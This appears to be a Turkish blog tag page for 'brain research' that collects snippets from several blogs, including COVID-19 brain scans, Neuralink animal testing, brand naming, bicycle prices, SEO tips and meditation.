#beyin araştırması

[rayhaber]

Columbia Üniversitesi'nden Beyin Araştırması: Zihin Nasıl Bölümlere Ayırır?

Columbia Üniversitesi’nden Beyin Araştırması ABD’deki Columbia Üniversitesi’nden yapılan bir araştırma, insan beyninin 24 saati adeta bir kitap gibi bölümlere ayırdığını ortaya koydu. Bir yerden bir yere geçiş yaparken ya da bir aktiviteden diğerine geçerken, beynin faaliyetlerinde gözle görülür değişiklikler yaşandığı doğrulandı. Bu bölümlere ayırma işlemi, beynin sürekli akıştaki yaşam…

[gokyuzumanzarasi]

COVID-19'un Beyindeki Önemli Kontrol Merkezine Verdiği Hasar Ultra Güçlü MRG Taramalarıyla Ortaya Çıktı!

COVID-19’un Beyin Sapına Etkisi Süper güçlü beyin taramaları, bilim insanlarına COVID-19’un beyni nasıl etkilediğine dair daha derin bir bakış açısı sunuyor. Bu bulgular, bazı hastaların yaşadığı kalıcı belirtilerin nedenini açıklayabilir. Yeni veriler, COVID-19’un beyin sapına zarar verebildiğini gösteriyor. Cambridge Üniversitesi’nden ilk yazar Dr. Catarina Rua, beyin sapındaki…

[gururbenimneyime]

COVID-19'un Beyindeki Önemli Kontrol Merkezine Verdiği Hasar Ultra Güçlü MRG Taramalarıyla Ortaya Çıktı!

COVID-19’un Beyin Sapına Etkisi Süper güçlü beyin taramaları, bilim insanlarına COVID-19’un beyni nasıl etkilediğine dair daha derin bir bakış açısı sunuyor. Bu bulgular, bazı hastaların yaşadığı kalıcı belirtilerin nedenini açıklayabilir. Yeni veriler, COVID-19’un beyin sapına zarar verebildiğini gösteriyor. Cambridge Üniversitesi’nden ilk yazar Dr. Catarina Rua, beyin sapındaki…

[ellerielimde]

COVID-19'un Beyindeki Önemli Kontrol Merkezine Verdiği Hasar Ultra Güçlü MRG Taramalarıyla Ortaya Çıktı!

COVID-19’un Beyin Sapına Etkisi Süper güçlü beyin taramaları, bilim insanlarına COVID-19’un beyni nasıl etkilediğine dair daha derin bir bakış açısı sunuyor. Bu bulgular, bazı hastaların yaşadığı kalıcı belirtilerin nedenini açıklayabilir. Yeni veriler, COVID-19’un beyin sapına zarar verebildiğini gösteriyor. Cambridge Üniversitesi’nden ilk yazar Dr. Catarina Rua, beyin sapındaki…

[sanacicekaldim]

COVID-19'un Beyindeki Önemli Kontrol Merkezine Verdiği Hasar Ultra Güçlü MRG Taramalarıyla Ortaya Çıktı!

COVID-19’un Beyin Sapına Etkisi Süper güçlü beyin taramaları, bilim insanlarına COVID-19’un beyni nasıl etkilediğine dair daha derin bir bakış açısı sunuyor. Bu bulgular, bazı hastaların yaşadığı kalıcı belirtilerin nedenini açıklayabilir. Yeni veriler, COVID-19’un beyin sapına zarar verebildiğini gösteriyor. Cambridge Üniversitesi’nden ilk yazar Dr. Catarina Rua, beyin sapındaki…

[okusana-org]

COVID-19'un Beyindeki Önemli Kontrol Merkezine Verdiği Hasar Ultra Güçlü MRG Taramalarıyla Ortaya Çıktı!

COVID-19’un Beyin Sapına Etkisi Süper güçlü beyin taramaları, bilim insanlarına COVID-19’un beyni nasıl etkilediğine dair daha derin bir bakış açısı sunuyor. Bu bulgular, bazı hastaların yaşadığı kalıcı belirtilerin nedenini açıklayabilir. Yeni veriler, COVID-19’un beyin sapına zarar verebildiğini gösteriyor. Cambridge Üniversitesi’nden ilk yazar Dr. Catarina Rua, beyin sapındaki…

[okusanaorgsblog]

COVID-19'un Beyindeki Önemli Kontrol Merkezine Verdiği Hasar Ultra Güçlü MRG Taramalarıyla Ortaya Çıktı!

COVID-19’un Beyin Sapına Etkisi Süper güçlü beyin taramaları, bilim insanlarına COVID-19’un beyni nasıl etkilediğine dair daha derin bir bakış açısı sunuyor. Bu bulgular, bazı hastaların yaşadığı kalıcı belirtilerin nedenini açıklayabilir. Yeni veriler, COVID-19’un beyin sapına zarar verebildiğini gösteriyor. Cambridge Üniversitesi’nden ilk yazar Dr. Catarina Rua, beyin sapındaki…

[patronlar]

Aziz Sancar'ın öncülüğünde gerçekleştirilen beyin kanseri araştırması, insan üzerindeki yenilikçi denemeleriyle dikkat çekiyor. Bu çalışma, kanser tedavisinde devrim yaratma potansiyeli taşıyor ve bilim dünyasında heyecan uyandırıyor.

[adaptedijital]

Marka İsminizi Oluştururken Bilmeniz Gerekenler

Marka ismi, işletmenizin kimliğinin temel taşıdır ve müşterilerinizin sizi nasıl algıladığının büyük bir kısmını belirler. Bu nedenle, marka isminizi seçerken yaratıcı ve stratejik olmanız gerekmektedir. İlk olarak, marka ismi önerileri araştırması yaparak başlayın. Bu süreçte, işletmenizin temsil ettiği değerler ve vizyonu yansıtan isimler üzerinde durmanız önemlidir.

Bir sonraki adım, işletme adı fikirleri konusunda derinlemesine bir beyin fırtınası yapmaktır. Bu aşamada, yaratıcı şirket isimleri oluşturmak için çeşitli isim generator araçlarından yararlanabilirsiniz. Ancak unutmayın, seçeceğiniz isim sadece yaratıcı olmakla kalmamalı, aynı zamanda işletmenizin sunduğu ürün veya hizmetlerle de uyumlu olmalıdır. Örneğin, teknoloji sektöründeyseniz, modern ve teknolojik bir his uyandıran isimler seçmek isteyebilirsiniz.

İdeal marka isminizi bulduktan sonra, marka ismini tescil etmek için gereken adımları atmanız büyük önem taşır. Bu işlem, markanızın başka bir şirket tarafından kullanılmasını önler ve işletmenizin hukuki güvence altına alınmasına yardımcı olur. 🛡️ Tescil süreci, genellikle belirli yasal prosedürler gerektirir ve bu süreçte bir hukuk danışmanından yardım almak en iyisidir.

Marka isminizin etkili bir şekilde pazarlama yapısına entegre edilmesi gerekir. Burada dikkat etmeniz gereken nokta, seçtiğiniz marka isminin tüm pazarlama materyallerinde tutarlı bir şekilde kullanılmasıdır. İyi bir marka ismi, sizi rakiplerinizden ayıracak ve hedef kitlenizin zihninde kalıcı bir iz bırakacaktır. Sonuç olarak, etkileyici bir marka ismi, işletmenizin başarılı bir şekilde pazarda yer almasını sağlayacak ve uzun vadede değer kazanmasına katkıda bulunacaktır.

Bu dört adımlı süreç, marka isminizi etkili bir şekilde oluşturmanıza yardımcı olacak ve işletmenizin pazarda güçlü bir konum elde etmesine olanak tanıyacaktır. İşletmeniz için mükemmel marka ismini bulma yolculuğunda, bu stratejilerden faydalanarak rekabette bir adım öne geçin! 🚀

Marka İsminin Önemi ve Etkisi

Marka ismi, bir işletmenin kimliğinin ve marka algısının merkezindedir. Marka ismi oluşturma, tüketicilerin gözünde markanızın değerini ve karakterini belirleyen kritik bir süreçtir. İyi düşünülmüş bir marka ismi, hedef kitlenizin dikkatini çekmekte ve onları markanızla duygusal bir bağ kurmaya teşvik etmekte büyük bir rol oynar.

Marka isminin oluşturulması sırasında, ismin kolay hatırlanabilir, telaffuz edilebilir ve markanın sunduğu ürün veya hizmetleri yansıtacak şekilde olmasına özen gösterilmelidir. Marka isim oluşturma süreci, aynı zamanda markanın pazar içindeki konumunu ve rekabet avantajını da doğrudan etkiler. Bu yüzden, isim seçimi yapılırken stratejik bir yaklaşım benimsemek şarttır.

İşletmeler, marka adı oluşturma sürecinde genellikle kreatif metotlar ve trend analizleri kullanır. Bu, markanın hem güncel hem de gelecek vaad eden bir isme sahip olmasını sağlar. İsimden marka oluşturma, markanızın piyasadaki benzersiz konumunu pekiştirecek ve rakipleriniz arasında sizi öne çıkaracak bir fırsattır. 🌟

Sonuç olarak, marka ismi yaratma süreci sadece yaratıcılık değil, aynı zamanda detaylı bir piyasa ve rekabet araştırması gerektirir. İyi bir marka ismi, potansiyel müşterileriniz üzerinde kalıcı bir izlenim bırakır ve markanızın hikayesini anlatır. Bu nedenle, bu süreci hafife almadan, markanızın geleceği için en doğru adımı atmanız büyük önem taşır.

Neden Güçlü Bir Marka İsmine İhtiyacınız Var?

Bir işletmenin başarısı, sunduğu ürün ve hizmetler kadar, onları temsil eden marka isminin gücüyle de doğrudan ilişkilidir. Güçlü bir marka ismi, tüketicilerin zihninde kolayca yer edinir ve onların markanızı tercih etmelerini sağlar. Bu nedenle, marka ismi oluşturma süreci, işletmenizin genel başarısı için kritik bir öneme sahiptir.

Marka isim yaratma süreci, markanızın hikayesini ve karakterini anlatır. Tüketiciler, ismiyle özdeşleşen bir markayı sadece bir logo veya ürün yelpazesi olarak görmek yerine, bir yaşam tarzı veya değer sistemi olarak algılar. Bu, müşteri sadakati ve marka bağlılığı inşa etmek için mükemmel bir fırsattır. 🎯

Ayrıca, marka adı oluşturma işlemi sırasında yapılan seçimler, pazarlama stratejilerinizin etkinliğini artırabilir. Akılda kalıcı ve etkileyici bir marka isim oluşturma, reklam kampanyalarında daha fazla dikkat çeker ve sosyal medya paylaşımlarında daha geniş bir yankı bulur. Bu da markanızın daha geniş kitlelere ulaşmasını sağlar.

Son olarak, isimden marka oluşturma süreci, işletmenizin uzun vadeli vizyonunu destekler ve pazardaki benzersiz yerinizi pekiştirir. Güçlü bir marka ismi, rekabetçi bir pazarda ayakta kalmak ve öne çıkmak için gereken itibarı ve güveni sağlar. Bu, hem mevcut müşteri tabanınızı korumanıza, hem de yeni müşteriler kazanmanıza yardımcı olur.

Yaratıcı Marka İsimleri Oluşturmanın Temel Adımları

Yaratıcı bir marka ismi oluşturmak, işletmenizin pazardaki başarısını büyük ölçüde etkileyebilir. Bu süreç, marka ismi yaratmanın ötesinde, bir marka kimliği oluşturmayı ve potansiyel müşterilerle anlamlı bir bağ kurmayı hedefler. İlk adım, işletmenizin temel değerlerini ve hedeflediği müşteri profilini net bir şekilde tanımlamaktır. Bu bilgiler, markanızın ruhunu yansıtan bir isim geliştirme sürecinin temelini oluşturur.

Ardından, marka isim oluşturma sürecinde yaratıcılığınızı konuşturmanın zamanı gelir. Çeşitli beyin fırtınası tekniklerini kullanarak, farklı kelime kombinasyonları deneyin. Bu aşamada, alakalı kelimeleri listelemek, eş anlamlılar ve metaforlar kullanmak etkili olabilir. Marka isim oluşturma sürecinde, kelime oyunları ve aliterasyon gibi dilbilimsel araçlardan yararlanmak, akılda kalıcı ve ilgi çekici isimler yaratmanıza yardımcı olabilir. 🔍

Bir sonraki adım, seçtiğiniz marka isimlerinin pazar araştırmasıdır. Bu, seçtiğiniz ismin başka bir marka tarafından kullanılıp kullanılmadığını kontrol etmek ve ismin tüketiciler üzerindeki etkisini değerlendirmek için önemlidir. Marka adı oluşturma sürecinde bu aşama, isminizi tescil ettirme sürecini de kolaylaştırır çünkü benzersiz ve kullanılmamış bir isim seçmek yasal sorunların önüne geçer.

Son olarak, seçilen marka isminin etkinliğini test edin. Farklı demografik gruplardan insanlara isim hakkında geri bildirimde bulunmalarını isteyin. Bu, ismin hedef kitlenizle nasıl bir bağlantı kurduğunu anlamanıza yardımcı olur. İsimden marka oluşturma süreci, sadece yaratıcı olmakla kalmaz, aynı zamanda stratejik ve bilinçli kararlar gerektirir. 🎯

Marka İsmi Seçerken Yapılan Yaygın Hatalar

Marka ismi seçerken yapılan hatalar, işletmelerin başlangıcında karşılaşabileceği en büyük engellerden biridir. İlk olarak, marka isim oluşturma sürecinde en sık yapılan hatalardan biri, çok genel veya açıklayıcı isimler seçmektir. Bu tür isimler, markanızın benzersiz özelliklerini yansıtmakta yetersiz kalır ve tüketicilerin zihninde belirgin bir yer edinmesini zorlaştırır.

İkinci yaygın hata, kültürel hassasiyetleri göz ardı etmektir. Global bir pazar düşünüldüğünde, seçilen marka isminin farklı dillerde ve kültürlerde olumsuz anlamlara gelmemesi önemlidir. Bu tür bir hata, markanızın itibarına ciddi zararlar verebilir ve pazarlama çabalarınızı olumsuz etkileyebilir. 🌍

Üçüncü olarak, SEO (Arama Motoru Optimizasyonu) düşünülmeden marka ismi seçilmesi, dijital çağda büyük bir hata olabilir. marka isim yaratma sürecinde, online görünürlüğü ve arama motorlarında kolay bulunabilirliği artıracak isimler tercih edilmelidir. İyi bir SEO, markanızın internet üzerindeki keşfedile bilirliğini büyük ölçüde artırır.

Son hatayı ise, yasal araştırma yapılmadan isim seçmek oluşturur. Seçilen ismin daha önce tescillenip tescillenmediğini kontrol etmemek, ileride yasal sorunlara yol açabilir. Bu durum, markanızın büyümesini sınırlayabilir ve pahalı hukuki mücadelelere neden olabilir. İsim tescil süreci, marka adı oluşturma sürecinin ayrılmaz bir parçası olmalıdır.

İlham Veren Gerçek Dünya Marka İsim Örnekleri

Gerçek dünya marka isimleri, marka isim oluşturma sürecinde büyük bir ilham kaynağı olabilir. Bu isimler, yalnızca bir logo değil, aynı zamanda bir hikaye, bir kimlik ve bir kültür taşır. İşte başarılı ve akılda kalıcı beş marka ismi:

Google adı, sonsuz bilgi ve erişim fikrini temsil ederken, kullanıcıların akıllarında sınırsız arama kapasitesi ve erişilebilirlik imajını pekiştirir. Bu isim, marka ismi yaratma sürecinde benzersiz bir seçim olarak öne çıkar ve şirketin ana işlevini doğrudan yansıtarak, güçlü bir pazarlama aracı haline gelir. Google, karmaşık algoritmalar ve geniş veri tabanlarını, kolay anlaşılır ve erişilebilir bir isimle tüketicilere sunarak pazarlama stratejilerinde büyük bir başarı elde etmiştir.

Apple: Teknoloji dünyasında devrim yaratan Apple, ismini basitçe bir meyveden alıyor. Bu isim, erişilebilirliği ve yeniliği simgelerken, sade ve temiz tasarım anlayışıyla da örtüşüyor. Apple, marka ismi yaratma sürecinde, sıradan bir nesneyi olağanüstü bir markaya dönüştürme gücünü gösteriyor.

Nike: Yunan zafer tanrıçası Nike’dan ismini alan bu spor giyim devi, atletik mükemmellik ve rekabetçi ruhu temsil eder. Marka ismi, tüketicilere güç ve başarı hissi verir, bu da onların spor performanslarını artırmalarına ilham verir. Nike, marka adı oluşturma sürecinde mitolojik bir figürü modern bir bağlama taşıyarak eşsiz bir kimlik yaratmayı başarmıştır. 🏆

Amazon: Dünyanın en büyük nehrinden ismini alan Amazon, çeşitlilik ve büyüklük anlamına gelir. Jeff Bezos, kitap satışıyla başladığı işine evrensel ve geniş bir isim vererek markanın potansiyel büyümesine işaret etmiştir. Amazon, marka ismi seçerken kapsamlı bir anlam yüklemesi yaparak küresel bir güç haline geldi.

Tesla: Elektrik mühendisi Nikola Tesla’nın adını taşıyan bu otomobil ve enerji şirketi, yenilik ve ileri teknolojiyi simgeler. Tesla, isimden marka oluşturma sürecinde bilim ve teknolojiye duyulan saygıyı ve ilerlemenin sürekli arayışını vurgular.

Starbucks: Starbuck, Herman Melville’in ünlü romanı “Moby Dick”teki bir karakterden esinlenmiş bir isimdir. Bu isim, denizcilik mirasını ve kahve rotalarını anımsatır, aynı zamanda küresel bir kahve kültürünün lideri olma vizyonunu yansıtır. Starbucks, marka ismi yaratma sürecinde kültürel referansları kullanarak derin ve zengin bir marka kimliği oluşturmuştur.

[piyasahaberleri]

Elon Musk'un Neuralink araştırması, tıpkı ABD hükümetinin Soğuk Harp sırasındaki deneyleri benzer biçimde yüzlerce hayvanın vahşice ölümüne yol açtı. — Sopa/DosyaElon Musk'un Neuralink'i senelerdir hayvanlara eziyet etmekle ve laboratuvarların onları suiistimal etmesine olanak sağlamakla suçlanıyordu.Sadece şirket, beyin-bilgisayar arayüzü bilimi alanında yığınlarca hayvanı kurban eden ilk şirket değil. Günlük posta. Her ne kadar Neuralink'in beyin çipini geliştirirken aralarında maymunlar, domuzlar ve koyunların da bulunmuş olduğu 1.500'den fazla hayvanı öldürmüş olduğu bildirilse de, ABD hükümetinin vücut sayısı on seneler süresince daha fena olabilir.Bir kedi, onu gizli saklı bir dinleme aletine dönüştürmek için onlarca defa ameliyat edildi ve en fena vakaların bazılarında davranışlarını denetlemek amacıyla bir köpekbalığı, elektrotların yerleştirilmesi için açık beyin ameliyatına doğal olarak tutuldu.Omuzlarından aşağısı nüzul olan 29 yaşındaki Noland Arbaugh'un, Şubat ayında çipi yerleştirdikten sonrasında yapmak istediği hamleleri düşünerek bilgisayarda satranç oynayabildiği bildiriliyor.Kediler, Merkezi İstihbarat Teşkilatı (CIA) tarafınca gizli saklı dinleme cihazlarına dönüştürülerek soğuk harbe dahil edildi. Merhum Victor Marchetti'ye bakılırsa "Oldukca para harcandı".“Kediyi yardlar, içine piller taktılar, kabloları bağladılar. Kuyruk anten olarak kullanıldı" dedi Merkezi İstihbarat Direktörü'nün hususi asistanı olarak çalışan Marchetti.

[fiyatinedir]

Bim Bisiklet Fiyatları

Bim Bisiklet Fiyatları arayışı içindeyseniz doğru yerdesiniz. Sizler için güncel Bim Bisiklet fiyat bilgisine ulaştık ve mağazalardan aldığımız fiyat doğrultusunda bu yazımızı paylaştık. Ülkemizde birçok ürün pandemi ve dövizlerdeki artış nedeniyle zamlandı. Bisikletlerde güncel zamlardan etkilendi. Peki Güncel ve Zamlı Bim Bisiklet Fiyatı yılında ne kadar olacak ? Bu yazımızda güncel Bim Bisiklet fiyat bilgisi yer almaktadır. Bim Bisiklet fiyatı yılı içerisinde güncel ve doğru olarak Bim mağazalarından öğrenilmiştir.

bim bisiklet fiyatlar

Bim Bisiklet Fiyatları

Bim BisikletFiyatlarıBim'de 26 Jant Bisiklet Fiyatı589,95 TLBim'de Volta Katlanır Alüminyum Elektrikli Bisiklet Fiyatı3.199,00 TLBim'de Belderia Bisiklet Fiyatı329,90 TLBim'de 20 Jant Bisiklet Fiyatı479,90 TLBim Bisiklet Fiyatları

bim 16 jant bisiklet Bim Bisiklet Markaları Nedir? Bim’de satılan Bisiklet markaları Volta ve Belderiadır. Bim Bisiklet Fiyatı Ne Kadar? Volta Elektrikli Katlanır Alüminyum Bisiklet = 3.199,00 TL

bimde bisiklet fiyatları Bisiklete Binmenin Yararları Nedir? Bisiklet Kullanmak Kaslarınızı Güçlendirir Bisiklet kullanmanın kaslarımızı güçlendirmesi açısından büyük faydası vardır. 1-Kalp Dostu Bisiklete binmenin faydaları arasında kalp sağlığını korumak da vardır. 2-Eklem Ağrılarını Giderir Bisiklet faydaları arasında en gözle görülür olanı eklemlerin özellikle bacakların sürekli olarak hareket etmeleridir. 3-Stresi Azaltır Stres hayatın her döneminde insan hayatında var olmuştur. Stresin insan üzerinde hayati bir etkisi bulunmaktadır. 4-Beyin Fonksiyonlarını Güçlendirir Bisiklet sürmek beyin fonksiyonlarının da güçlenmesini sağlamaktadır. https://www.youtube.com/watch?v=N6PiaDBV9k0&ab_channel=BisikleteDairHerey Bim Hakkında Türkiye’nin organize perakende sektöründe pazar payı en yüksek şirket olan BİM Birleşik Mağazalar AŞ, faaliyetlerine 1995 yılında 21 mağazayla başlamıştır. BİM’in ana ilkesi, temel gıda ve tüketim malzemelerinin yüksek kalite ve en uygun fiyat ile tüketiciye ulaştırılmasıdır. Yüksek indirim (hard-discount) modelinin Türkiye’deki ilk temsilcisi olan BİM, portföyünde yaklaşık 750 ürün bulundururken aynı zamanda çok sayıda özel markalı ürünü de müşterilerine sunmayı hedeflemektedir. BİM, mağaza sayısı ve cirosunu istikrarlı bir biçimde artırma politikasını 2020 yılında da sürdürmüştür. 2020 yılında yurt içinde üç yeni bölge merkezinin yanı sıra 969 (+30 FİLE) yeni mağaza açarak mağaza sayısında yıllık yüzde 12 oranında büyüme kaydeden BİM, 2020 yıl sonu itibariyle Türkiye’de 8.407 (FİLE ile 8.530) mağaza sayısına ulaşmıştır. Kalite anlayışından ve müşteri memnuniyeti önceliğinden vazgeçmeksizin etkin maliyet yönetimi politikasıyla gelişimine devam etmektedir. Bim Bisiklet fiyatı - Güncel Trapez Sac Fiyatı - Hershey's Çikolata fiyatları -  Ersağ Ürün Fiyatları  - Migros deterjan fiyatı  Yazımızda paylaştığımız gibi güncel Bim Ürün Fiyatları listemize bu kategorimizden ulaşabilir ve bilgi alabilirsiniz. Market alışverişlerinden önce fiyat araştırması yapmayı seviyor ve gerekli görüyorsanız Fiyatı Nedir sitemiz tamda sizler için hizmet vermektedir. Güncel Market fiyatlarını ve detaylarını sizlerle paylaşmaktadır. Bim ürünlerinin güncel fiyatlarına ulaştığınız gibi diğer marketlerinde güncel ürün fiyatlarına ulaşabilirsiniz. Eklenmesini istediğiniz fiyat listesi olursa bizimle iletişime geçebilirsiniz. Read the full article

[mizemediaagency]

Blog Gönderilerinizi Google'da Nasıl Daha Üst Sıralara Çıkarırsınız - Rehberimiz

Blog Gönderilerinizi Google'da Nasıl Daha Üst Sıralara Çıkarırsınız - Rehberimiz

İçindekiler

SEO Nedir ve Neden Önemlidir?

Anahtar kelime araştırması

Yüksek kaliteli içeriğin önemi

Anahtar Kelime İfadeleri

Bağlantı Ekleme

Konu üzerinde kalmak

Yararlı içerik yazma ve değer katma

SEO Nedir ve Blog Yazılarınız İçin Neden Önemlidir?

SEO, bir web sitesini Google gibi arama motorlarında daha üst sıralarda yer alacak şekilde optimize etme işlemidir. Web siteniz ne kadar üst sıralarda yer alırsa, o kadar çok kişi onu görecek ve o kadar çok trafik alacaksınız. SEO, blogunuz için önemlidir, çünkü içeriğinizin mümkün olduğunca çok kişi tarafından görülmesini bu şekilde sağlayabilirsiniz. İsterseniz Google’da iyi sıralamablog yazılarınızı SEO için nasıl optimize edeceğinizi öğrenmeniz gerekiyor.

Blog Gönderilerinizi Optimize Etmek İçin İpuçları

Anahtar kelime araştırması-sıralamak istediğiniz bir anahtar kelime veya kelime öbeği seçin

Anahtar kelimeler, arama motoru sonuçlarında bulunmasını istediğiniz kelimeler veya kelime öbekleridir. İyi bir anahtar kelime seçmek için, önce insanların neden blog yayınınızı bulmak isteyeceklerini düşünün. Belirli bir konu hakkında bilgi istedikleri için mi? Bir soruna çözüm mü arıyorlar? Nedeni ne olursa olsun, bu terimin veya kelime öbeğinin blog yazınızın başlığında belirgin bir şekilde yer aldığından ve blog yazınızın ilk paragrafına eklendiğinden emin olun.

Ayrıca aklınızdaki anahtar kelime öbeğinin hacmini ve zorluk derecesini de araştırmak istiyorsunuz. gibi araçları kullanabilirsiniz. her yerde anahtar kelimeler veya belirli anahtar kelime arama terimlerinin hacmini bulmak için diğer ücretsiz çevrimiçi araçlar. Bunu göz ardı etmek, kimsenin aramadığı bir arama ifadesi etrafında bir makale yazmanıza yol açabilir.

Anahtar kelimeleri göz önünde bulundurarak kaliteli içerik oluşturun

Artık blog gönderileriniz için iyi anahtar kelimeleri nasıl seçeceğinizi bildiğinize göre, bu anahtar kelimeler etrafında kaliteli içeriğin nasıl oluşturulacağını anlamak önemlidir. Unutmayın, Google sayfaları içeriğin kalitesi de dahil olmak üzere bir dizi faktöre göre sıralar. Bu nedenle, blog gönderilerinizin sıralamada iyi olmasını istiyorsanız, yüksek kalitede olduklarından emin olmanız gerekir.

Seçtiğiniz anahtar kelimeler etrafında kaliteli içerik oluşturmak için bazı ipuçları:

Anahtar kelime öbeğinizle ilgili konuların bir listesini beyin fırtınası yaparak başlayın.

Ardından, biraz araştırma yapın ve okuyucularınızın konu hakkında daha fazla bilgi edinmesine yardımcı olacak bilgileri derleyin.

Net, özlü bir şekilde yazın ve okunması kolay yazı tipleri ve başlıklar kullanın.

Blog gönderinizi daha ilginç hale getirmek için resimler, grafikler, videolar ve diğer multimedya öğelerini ekleyin.

Mümkün olduğunda gözün takip etmesi kolay listeler kullanın.

Son taslağınız tamamlandıktan sonra, yazım, dilbilgisi hataları vb. olup olmadığını kontrol etmek için başka birinin taslağını okumasını sağlayın.

Uygun olduğunda kendi sitenizdeki ilgili içeriğe bağlantı verin

Gönderinizin gövdesine anahtar kelimeler ekleyin, ancak aşırıya kaçmayın!

SEO’nun en önemli yönlerinden biri, hedef anahtar kelimenizi veya kelime öbeğinizi blog yazınıza dahil etmektir. Ama aşırıya kaçmak istemezsin! Anahtar kelimenizi çok fazla eklerseniz, gönderiniz spam gibi görünmeye başlar ve Google onu daha düşük bir sıralamaya sokar.

Bunun yerine, anahtar kelimenizi arama motorları tarafından fark edilecek kadar yeterli sayıda dahil etmek arasında bir denge bulmaya çalışın, ancak okuyucularınızın canını sıkacak veya dikkatini dağıtacak kadar sık ​​değil. İyi bir kural, anahtar kelimenizi gönderiniz boyunca 3-5 kez dahil etmektir.

Ek olarak, gönderiniz boyunca diğer ilgili anahtar kelimeleri ve kelime öbeklerini de kullandığınızdan emin olun. Bu, Google’ın blog yayınınızın ne hakkında olduğunu daha iyi anlamasına yardımcı olacak ve şansınızı artıracaktır.

Blog yayınınızın metnine bağlantılar ekleyin

Blog yazınıza bağlantılar eklemek iki ana nedenden dolayı önemlidir:

Birincisi, okuyucuların konuyu daha iyi anlamalarına yardımcı olur. Bir bağlantı sağladığınızda, okuyucular bu bağlantıya tıklayabilir ve konu hakkında daha fazla bilgi bulabilir. Ardından, kendi sitenizdeki diğer makalelere bağlantılar eklemek, yalnızca onlara içeriğinizin daha fazlasını okuma şansı vermekle kalmaz, aynı zamanda Google’ın ve diğer arama motorlarının makalenizi daha üst sıralara çıkarmasına yardımcı olur (kendilerinin de kaliteli makaleler olduklarını varsayarak).

Ayrıca, harici sitelere bağlantılar eklemek de iyi bir fikirdir. Gönderi başına bir dahili bağlantı ve bir harici bağlantı eklemeyi deneyin. Okuyuculara konunuzla ilgili daha fazla bilgi edinmeleri için bir yol sağladığınızda (“Daha fazla bilgi için bu blogun devamını okuyun!”), etrafta dolanıp gelecekte tekrar gelmeleri daha olası olacaktır.

Blog gönderilerinizin konuyla ilgili olduğundan emin olun

Basitçe söylemek gerekirse, işiniz, ürünleriniz ve hizmetleriniz ve sektörünüzle ilgili konular hakkında yazmak istiyorsunuz.

Örneğin, bir tesisatçıysanız ve blog gönderileriniz balıkçılık, bahçıvanlık veya yemek pişirme ile ilgiliyse, okuyucularınızın kafasını karıştırırsınız ve onlar da sitenizdeki içerikten ne bekleyeceklerini bilemezler. İşletmenizle ilgili konularla ilgili olmadıkları için Google’ın bu makaleleri sıralama olasılığı da daha düşük olacaktır.

Yararlı içerik yazın

Herhangi bir içerik pazarlama stratejisindeki en önemli kural, okuyuculara faydalı ve değerli içerik sağlamaktır. Yalnızca yüksek kaliteli blog gönderileri oluşturmak yeterli değildir; içeriğin değer sağladığından ve bir şekilde yardımcı olduğundan emin olmanız gerekir.

Blog gönderilerinizin yalnızca bir dizi mektup veya ayrıntılı bir spam kampanyası olmasını istemezsiniz. İnsanların sitenize bilgi aramak için geldiklerini unutmayın, bu nedenle onlara içerik sağlamanız önemlidir.

Blog gönderilerinizi yerinde tutmak için yapabileceğiniz bazı şeyler şunlardır:

-E-Kitaplar, kılavuzlar, infografikler vb. kullanarak okuyucularınız için değerli olacak bilgiler sağlayın.

-İşiniz ve sektörünüzle ilgili olarak dünyada olup bitenler hakkında içgörüler paylaşın.

– İpuçları, püf noktaları, tüyolar, öneriler, nasıl yapılır vb.

Blog gönderileri oluştururken hedef kitlenizi düşünün. Sonuçta, ürettiğiniz içerik, onlara mümkün olduğunca çok değer vermekle ilgili olmalıdır.

Sonuç olarak

Gördüğünüz gibi, blog yazarlarının Google’da üst sıralarda yer almak için yapması gereken birkaç şey var. Blog gönderilerinizin veya makalelerinizin üst sıralarda yer almasını ve arama motorlarından daha fazla trafik almasını istiyorsanız, şu yönergelere uyduklarından emin olun: Öncelikle, Google’ın içeriğin ne hakkında olduğunu bilmesi için metin boyunca alakalı anahtar kelimeler ekleyin. Gönderi başına 3-5 kez ekleyin ama aşırıya kaçmayın! İkincisi, okuyuculara metin içinde bağlantılar verin – bu onların daha iyi anlamalarına yardımcı olur ve SEO amaçları için sıralamayı iyileştirir; ayrıca diğer ilgili anahtar kelimeleri de eklediğinizden emin olun. Son olarak, tümü işiniz, sektörünüz ve hedef kitlenizle ilgili bilgiler (e-Kitaplar), içgörüler (dünyada neler olup bittiği) ve ipuçları/hileler/hileler vb. sağlayarak özlü yararlı içerik yazın. Bu adımları izleyerek, blog yazılarınızı daha fazla okuyucunun keşfetmesi için Google’da daha üst sıralarda yer alma şansınızı artıracaksınız!

Kaynak, Siteyi Ziyaret Edin

[cilginfizikcilervbi]

Çalışma ve Öğrenme Motivasyonu Yaş Aldıkça Düşer mi?

Çalışma ve Öğrenme Motivasyonu Yaş Aldıkça Düşer mi?

Çalışma ve Öğrenme Motivasyonu Yaş Aldıkça Düşer mi? Hayatta kalmak için, yaptığınız her şeyi yapmak için sürekli öğrenebilmeniz gerekir. Sizin için neyin iyi, neyin kötü olduğunu öğrenmeniz, çalışma ve öğrenme motivasyonunuzu yüksek tutmanız gerekmektedir.İnsanlar yaşlandıkça genellikle çalışma, yeni şeyler öğrenme ve günlük aktivitelere katılma motivasyonlarını kaybederler. Çalışma ve…

[epifizz]

Mistik dünyaya bakış açın negatif olduğunu biliyoruz. Sana bir şey söylemek istiyorum Apple, Yahoo, IBM, Nike gibi daha bir çok dünyaca ünlü şirket çalışanlarına meditasyon eğitimi veriyor ve meditasyon odaları bulunuyor. Aynı zamanda Harward üniversitesinde nörobilim uzmanı bir bilim insanın araştırması üzerine meditasyon yapmanın piskolojik etkileride olmak üzere fiziksel olarak bir gelişim sağladığı yapılan beyin emarları sayesinde kanıtlanmış.(istiyorsan kaynakta verebilirim) ne diyorsun?

Beden odaklı terapinin başka bir yolu, meditasyona yararsız demiyorum zaten mistik değil diyorum. Sadece yarar sağlayan çakralar değil,  öyle bir şey yok zaten. Düşüncenin bedene odaklanmasıyla artan varlık, kendilik, andalık ve kontrol hissi elbette bireye iyi hissettirecek.

[blog40ambar]

GİZLİ GÜÇLERİNİZİ UYANDIRIN

Yoga

